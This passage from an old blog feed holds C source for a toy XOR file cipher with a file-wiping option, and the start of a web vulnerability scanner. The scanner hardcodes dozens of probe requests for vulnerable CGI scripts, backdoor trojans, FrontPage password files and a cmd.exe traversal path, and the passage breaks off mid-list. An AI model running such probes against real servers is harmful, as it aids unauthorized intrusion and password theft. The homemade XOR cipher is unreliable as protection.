0;&lt;/p&gt;&lt;p&gt;while (!done)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;in_value = fgetc(input);&lt;/p&gt;&lt;p&gt;if (in_value &amp;gt;= 0)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;out_value = (unsigned char) in_value;&lt;/p&gt;&lt;p&gt;random_value = Random_Byte();&lt;/p&gt;&lt;p/&gt;&lt;p&gt;for (key_index = 0; key_index &amp;lt; KEY_LENGTH; key_index++)&lt;/p&gt;&lt;p&gt;out_value = out_value ^ key[key_index];&lt;/p&gt;&lt;p/&gt;&lt;p&gt;out_value = out_value ^ random_value;&lt;/p&gt;&lt;p&gt;fputc(random_value, output);&lt;/p&gt;&lt;p&gt;fputc(out_value, output);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;done = 1;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;void Decrypt(FILE *input, FILE *output)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;unsigned char key[KEY_LENGTH];&lt;/p&gt;&lt;p&gt;int key_index, in_value;&lt;/p&gt;&lt;p&gt;unsigned char random_value, out_value;&lt;/p&gt;&lt;p&gt;int done;&lt;/p&gt;&lt;p&gt;fread(key, sizeof(unsigned char), KEY_LENGTH, input);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;done = 0;&lt;/p&gt;&lt;p&gt;while (!done)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p/&gt;&lt;p&gt;in_value = fgetc(input);&lt;/p&gt;&lt;p&gt;if (in_value &amp;gt;= 0)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;random_value = (unsigned char) in_value;&lt;/p&gt;&lt;p&gt;in_value = fgetc(input);&lt;/p&gt;&lt;p&gt;if (in_value &amp;gt;= 0)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;out_value = (unsigned char) in_value;&lt;/p&gt;&lt;p&gt;out_value = out_value ^ random_value;&lt;/p&gt;&lt;p&gt;for (key_index = (KEY_LENGTH - 1); key_index &amp;gt;= 0; key_index--)&lt;/p&gt;&lt;p&gt;out_value = out_value ^ key[key_index];&lt;/p&gt;&lt;p/&gt;&lt;p&gt;fputc(out_value, output);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;done = 1;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;done = 1;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;int main(int argc, char *argv[])&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int x, i, choice = 0;&lt;/p&gt;&lt;p&gt;FILE *originalData, *input, *output, *file;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if (argc &amp;lt; 4)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("Menu~\n\n1.)Dump Hex of file.\n2.Help\n3.Safe-Remove file.\n&amp;gt;");&lt;/p&gt;&lt;p&gt;scanf("%d",&amp;amp;choice);&lt;/p&gt;&lt;p&gt;switch (choice)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;case 1:&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;file = fopen(argv[1], "rb");&lt;/p&gt;&lt;p&gt;if(NULL == file)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("ERROR: Cannot open %s", argv[1]);&lt;/p&gt;&lt;p&gt;printf(CRLF);&lt;/p&gt;&lt;p&gt;return 2;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;printFileAsHex(file);&lt;/p&gt;&lt;p&gt;fclose(file);&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;case 2:&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("\nChipper7 Encryption \n");&lt;/p&gt;&lt;p&gt;printf("usage: chipper7 e|d &amp;lt;in_file&amp;gt; &amp;lt;out_file&amp;gt;\n");&lt;/p&gt;&lt;p&gt;printf("Use the `e' option to encrypt in_file, producing out_file.\n");&lt;/p&gt;&lt;p&gt;printf("Use the `d' option to decrypt out_file giving in_file.\n\n");&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;case 3:&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("Overwriteing file data.\n");&lt;/p&gt;&lt;p&gt;for(x=0;x&amp;lt;15;x++)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf(".");&lt;/p&gt;&lt;p&gt;originalData = fopen(argv[1], "wb");&lt;/p&gt;&lt;p&gt;if(NULL == originalData)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("ERROR: Cannot open %s", argv[1]);&lt;/p&gt;&lt;p&gt;printf(CRLF);&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;for(i=0;i&amp;lt;overWrite;i++)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;if(x &amp;lt; 3)&lt;/p&gt;&lt;p&gt;fprintf(originalData,"102600100260001002600100");&lt;/p&gt;&lt;p&gt;if(x == 3)&lt;/p&gt;&lt;p&gt;fprintf(originalData, "26002600010001026002600");&lt;/p&gt;&lt;p&gt;if(x &amp;gt; 3)&lt;/p&gt;&lt;p&gt;fprintf(originalData, "26001000010000100000010");&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;fclose(originalData);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;printf("\n\nSafe Remove of %s ...\nNow Killing file..", argv[1]);&lt;/p&gt;&lt;p&gt;remove(argv[1]);&lt;/p&gt;&lt;p&gt;printf("..Done.\n");&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;default:&lt;/p&gt;&lt;p&gt;{ printf("\33[0;28m illegal selection \n\n");&lt;/p&gt;&lt;p&gt;exit(0);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;return 0;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;if ( (argv[1][0] != 'e') &amp;amp;&amp;amp; (argv[1][0] != 'd') )&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("First agument must be `e' or `d'.\n");&lt;/p&gt;&lt;p&gt;return 1;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;input = fopen(argv[2], "r");&lt;/p&gt;&lt;p&gt;if (!input)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("Cannot open %s for reading.\n", argv[2]);&lt;/p&gt;&lt;p&gt;return 1;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;output = fopen(argv[3], "w");&lt;/p&gt;&lt;p&gt;if (!output)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("Cannot open %s for writting.\n", argv[3]);&lt;/p&gt;&lt;p&gt;fclose(input);&lt;/p&gt;&lt;p&gt;return 1;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;file = fopen(argv[2], "rb");&lt;/p&gt;&lt;p&gt;if(NULL == file)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("ERROR: Cannot open %s", argv[2]);&lt;/p&gt;&lt;p&gt;printf(CRLF);&lt;/p&gt;&lt;p&gt;return 2;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;printFileAsHex(file);&lt;/p&gt;&lt;p&gt;fclose(file);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;printf("Working......");&lt;/p&gt;&lt;p&gt;srand( time(NULL) );&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if (argv[1][0] == 'e')&lt;/p&gt;&lt;p&gt;Crypt(input, output);&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;Decrypt(input, output);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;printf("....Done.\n");&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;fclose(input);&lt;/p&gt;&lt;p&gt;fclose(output);&lt;/p&gt;&lt;p&gt;return 0;&lt;/p&gt;&lt;p&gt;} &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-1312477832069801567?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/1312477832069801567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=1312477832069801567' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1312477832069801567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1312477832069801567'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2010/04/gccc-project-i-was-working-on.html' title='A GCC/C++ Project I was working on..'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-6040878959122546475</id><published>2010-04-26T15:29:00.003-07:00</published><updated>2010-04-26T15:29:50.699-07:00</updated><title type='text'>How to make a very basic google vulnerability scanner. in ANSI C and/or GCC programing.</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;signal.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;string.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;netdb.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;ctype.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;arpa/nameser.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;strings.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;void main(int argc, char *argv[])&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int sock,debugm=0;&lt;/p&gt;&lt;p&gt;struct in_addr addr;&lt;/p&gt;&lt;p&gt;struct sockaddr_in sin;&lt;/p&gt;&lt;p&gt;struct hostent *he;&lt;/p&gt;&lt;p&gt;unsigned long start;&lt;/p&gt;&lt;p&gt;unsigned long end;&lt;/p&gt;&lt;p&gt;unsigned long counter;&lt;/p&gt;&lt;p&gt;char foundmsg[] = "200";&lt;/p&gt;&lt;p&gt;char *cgistr, buffer[1024];&lt;/p&gt;&lt;p&gt;int count=0,numin,suxes=0;&lt;/p&gt;&lt;p&gt;char cgibuff[1024];&lt;/p&gt;&lt;p&gt;char *buff[100], *cginame[100];&lt;/p&gt;&lt;p/&gt;&lt;p&gt;buff[1] = "GET /cgi-bin/unlg1.1 HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[2] = "GET /cgi-bin/rwwwshell.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[3] = "GET /cgi-bin/phf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[4] = "GET /cgi-bin/Count.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[5] = "GET /cgi-bin/test-cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[6] = "GET /cgi-bin/nph-test-cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[7] = "GET /cgi-bin/nph-publish HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[8] = "GET /cgi-bin/php.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[9] = "GET /cgi-bin/handler HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[10] = "GET /cgi-bin/webgais HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[11] = "GET /cgi-bin/websendmail HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[12] = "GET /cgi-bin/webdist.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[13] = "GET /cgi-bin/faxsurvey HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[14] = "GET /cgi-bin/htmlscript HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[15] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[16] = "GET /cgi-bin/perl.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[17] = "GET /cgi-bin/wwwboard.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[18] = "GET /cgi-bin/www-sql HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[19] = "GET /cgi-bin/view-source HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[20] = "GET /cgi-bin/campas HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[21] = "GET /cgi-bin/aglimpse HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[22] = "GET /cgi-bin/glimpse HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[23] = "GET /cgi-bin/man.sh HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[24] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[25] = "GET /cgi-bin/filemail.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[26] = "GET /cgi-bin/maillist.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[27] = "GET /cgi-bin/jj HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[28] = "GET /cgi-bin/info2www HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[29] = "GET /cgi-bin/files.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[30] = "GET /cgi-bin/finger HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[31] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[32] = "GET /cgi-bin/survey.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[33] = "GET /cgi-bin/AnyForm2 HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[34] = "GET /cgi-bin/textcounter.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[35] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[36] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[37] = "GET /cgi-bin/wrap HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[38] = "GET /cgi-bin/cgiwrap HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[39] = "GET /cgi-bin/guestbook.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[40] = "GET /cgi-bin/edit.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[41] = "GET /cgi-bin/perlshop.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[42] = "GET /_vti_inf.html HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[43] = "GET /_vti_pvt/service.pwd HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[44] = "GET /_vti_pvt/users.pwd HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[45] = "GET /_vti_pvt/authors.pwd HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[46] = "GET /_vti_pvt/administrators.pwd HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[47] = "GET /_vti_bin/shtml.dll HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[48] = "GET /_vti_bin/shtml.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[49] = "GET /cgi-dos/args.bat HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[50] = "GET /cgi-win/uploader.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[51] = "GET /cgi-bin/rguest.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[52] = "GET /cgi-bin/wguest.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[53] = "GET /scripts/issadmin/bdir.htr HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[54] = "GET /scripts/CGImail.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[55] = "GET /scripts/tools/newdsn.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[56] = "GET /scripts/fpcount.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[57] = "GET /cfdocs/expelval/openfile.cfm HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[58] = "GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[59] = "GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[60] = "GET /cfdocs/expelval/sendmail.cfm HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[61] = "GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[62] = "GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[63] = "GET /msads/Samples/SELECTOR/showcode.asp HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[64] = "GET /search97.vts HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[65] = "GET /carbo.dll HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[66] = "GET /cgi-bin/ax-admin.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[67] = "GET /scripts/convert.bas HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[68] = "GET /cgi-bin/excite HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[69] = "GET /cgi-bin/whois_raw.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[70] = "GET /cgi-bin/axs.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[71] = "GET /scripts/counter.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[72] = "GET /adsamples/config/site.csc HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[73] = "GET /cgi-bin/responder.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[74] = "GET /bb-dnbd/bb-hist.sh HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[75] = "GET /scripts/iisadmin/ism.dll HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[76] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[77] = "GET /scripts/tools/getdrvrs.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[78] = "GET /scripts/tools/dsnform.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[79] = "GET /scripts/samples/search/webhits.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[80] = "GET /_vti_pvt/author.log HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[81] = "GET /_vti_pvt/service.grp HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[82] = "GET /samples/search/queryhit.htm HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[83] = "GET /domcfg.nsf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[84] = "GET /today.nsf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[85] = "GET /names.nsf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[86] = "GET /catalog.nsf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[87] = "GET /log.nsf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[88] = "GET /domlog.nsf HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[89] = "GET /cgi-bin/AT-generate.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[90] = "GET /secure/.htaccess HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[91] = "GET /secure/.wwwacl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[92] = "GET /cgi-bin/day5datacopier.cgi HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[93] = "GET /cgi-bin/day5notifier HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[94] = "GET /cgi-bin/dumpenv.pl HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[95] = "GET /scripts/../../cmd.exe HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[96] = "GET /WebSTAR HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[97] = "GET /~root HTTP/1.0\n\n";&lt;/p&gt;&lt;p&gt;buff[98] = "GET /logs HTTP/1.0\n\n";&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;cginame[1] = "UnlG - backd00r Trojan";&lt;/p&gt;&lt;p&gt;cginame[2] = "THC - backd00r Trojan";&lt;/p&gt;&lt;p&gt;cginame[3] = "phf..classic ";&lt;/p&gt;&lt;p&gt;cginame[4] = "Count.cgi ";&lt;/p&gt;&lt;p&gt;cginame[5] = "test-cgi ";&lt;/p&gt;&lt;p&gt;cginame[6] = "nph-test-cgi ";&lt;/p&gt;&lt;p&gt;cginame[7] = "nph-publish ";&lt;/p&gt;&lt;p&gt;cginame[8] = "php.cgi ";&lt;/p&gt;&lt;p&gt;cginame[9] = "handler ";&lt;/p&gt;&lt;p&gt;cginame[10] = "webgais ";&lt;/p&gt;&lt;p&gt;cginame[11] = "websendmail ";&lt;/p&gt;&lt;p&gt;cginame[12] = "webdist.cgi ";&lt;/p&gt;&lt;p&gt;cginame[13] = "faxsurvey ";&lt;/p&gt;&lt;p&gt;cginame[14] = "htmlscript ";&lt;/p&gt;&lt;p&gt;cginame[15] = "pfdisplay ";&lt;/p&gt;&lt;p&gt;cginame[16] = "perl.exe ";&lt;/p&gt;&lt;p&gt;cginame[17] = "wwwboard.pl ";&lt;/p&gt;&lt;p&gt;cginame[18] = "www-sql ";&lt;/p&gt;&lt;p&gt;cginame[19] = "view-source ";&lt;/p&gt;&lt;p&gt;cginame[20] = "campas ";&lt;/p&gt;&lt;p&gt;cginame[21] = "aglimpse ";&lt;/p&gt;&lt;p&gt;cginame[22] = "glimpse ";&lt;/p&gt;&lt;p&gt;cginame[23] = "man.sh ";&lt;/p&gt;&lt;p&gt;cginame[24] = "AT-admin.cgi ";&lt;/p&gt;&lt;p&gt;cginame[25] = "filemail.pl ";&lt;/p&gt;&lt;p&gt;cginame[26] = "maillist.pl ";&lt;/p&gt;&lt;p&gt;cginame[27] = "jj ";&lt;/p&gt;&lt;p&gt;cginame[28] = "info2www ";&lt;/p&gt;&lt;p&gt;cginame[29] = "files.pl ";&lt;/p&gt;&lt;p&gt;cginame[30] = "finger ";&lt;/p&gt;&lt;p&gt;cginame[31] = "bnbform.cgi ";&lt;/p&gt;&lt;p&gt;cginame[32] = "survey.cgi ";&lt;/p&gt;&lt;p&gt;cginame[33] = "AnyForm2 ";&lt;/p&gt;&lt;p&gt;cginame[34] = "textcounter.pl ";&lt;/p&gt;&lt;p&gt;cginame[35] = "classifields.cgi";&lt;/p&gt;&lt;p&gt;cginame[36] = "environ.cgi ";&lt;/p&gt;&lt;p&gt;cginame[37] = "wrap ";&lt;/p&gt;&lt;p&gt;cginame[38] = "cgiwrap ";&lt;/p&gt;&lt;p&gt;cginame[39] = "guestbook.cgi ";&lt;/p&gt;&lt;p&gt;cginame[40] = "edit.pl ";&lt;/p&gt;&lt;p&gt;cginame[41] = "perlshop.cgi ";&lt;/p&gt;&lt;p&gt;cginame[42] = "_vti_inf.html ";&lt;/p&gt;&lt;p&gt;cginame[43] = "service.pwd Admin cash-file";&lt;/p&gt;&lt;p&gt;cginame[44] = "users.pwd Admin cash-file";&lt;/p&gt;&lt;p&gt;cginame[45] = "authors.pwd Admin cash-file";&lt;/p&gt;&lt;p&gt;cginame[46] = "administrators Admin cash-file";&lt;/p&gt;&lt;p&gt;cginame[47] = "shtml.dll ";&lt;/p&gt;&lt;p&gt;cginame[48] = "shtml.exe ";&lt;/p&gt;&lt;p&gt;cginame[49] = "args.bat ";&lt;/p&gt;&lt;p&gt;cginame[50] = "uploader.exe ";&lt;/p&gt;&lt;p&gt;cginame[51] = "rguest.exe ";&lt;/p&gt;&lt;p&gt;cginame[52] = "wguest.exe ";&lt;/p&gt;&lt;p&gt;cginame[53] = "bdir - samples ";&lt;/p&gt;&lt;p&gt;cginame[54] = "CGImail.exe ";&lt;/p&gt;&lt;p&gt;cginame[55] = "newdsn.exe ";&lt;/p&gt;&lt;p&gt;cginame[56] = "fpcount.exe ";&lt;/p&gt;&lt;p&gt;cginame[57] = "openfile.cfm ";&lt;/p&gt;&lt;p&gt;cginame[58] = "exprcalc.cfm ";&lt;/p&gt;&lt;p&gt;cginame[59] = "dispopenedfile ";&lt;/p&gt;&lt;p&gt;cginame[60] = "sendmail.cfm ";&lt;/p&gt;&lt;p&gt;cginame[61] = "codebrws.asp ";&lt;/p&gt;&lt;p&gt;cginame[62] = "codebrws.asp 2 ";&lt;/p&gt;&lt;p&gt;cginame[63] = "showcode.asp ";&lt;/p&gt;&lt;p&gt;cginame[64] = "search97.vts ";&lt;/p&gt;&lt;p&gt;cginame[65] = "carbo.dll ";&lt;/p&gt;&lt;p&gt;cginame[66] = "ax-admin.cgi Admin cash-file";&lt;/p&gt;&lt;p&gt;cginame[67] = "convert.bas ";&lt;/p&gt;&lt;p&gt;cginame[68] = "excite ";&lt;/p&gt;&lt;p&gt;cginame[69] = "whois_raw.cgi ";&lt;/p&gt;&lt;p&gt;cginame[70] = "axs.cgi ";&lt;/p&gt;&lt;p&gt;cginame[71] = "counter.exe ";&lt;/p&gt;&lt;p&gt;cginame[72] = "site.csc ";&lt;/p&gt;&lt;p&gt;cginame[73] = "responder.cgi ";&lt;/p&gt;&lt;p&gt;cginame[74] = "bb-hist.sh ";&lt;/p&gt;&lt;p&gt;cginame[75] = "ism.dll ";&lt;/p&gt;&lt;p&gt;cginame[76] = "environ.cgi ";&lt;/p&gt;&lt;p&gt;cginame[77] = "getdrvrs.exe ";&lt;/p&gt;&lt;p&gt;cginame[78] = "dsnform.exe ";&lt;/p&gt;&lt;p&gt;cginame[79] = "webhits.exe ";&lt;/p&gt;&lt;p&gt;cginame[80] = "author.log Admin Log";&lt;/p&gt;&lt;p&gt;cginame[81] = "service.grp ";&lt;/p&gt;&lt;p&gt;cginame[82] = "queryhit.htm ";&lt;/p&gt;&lt;p&gt;cginame[83] = "domcfg.nsf ";&lt;/p&gt;&lt;p&gt;cginame[84] = "today.nsf ";&lt;/p&gt;&lt;p&gt;cginame[85] = "names.nsf ";&lt;/p&gt;&lt;p&gt;cginame[86] = "catalog.nsf ";&lt;/p&gt;&lt;p&gt;cginame[87] = "log.nsf ";&lt;/p&gt;&lt;p&gt;cginame[88] = "domlog.nsf ";&lt;/p&gt;&lt;p&gt;cginame[89] = "AT-generate.cgi ";&lt;/p&gt;&lt;p&gt;cginame[90] = ".htaccess ";&lt;/p&gt;&lt;p&gt;cginame[91] = ".wwwacl 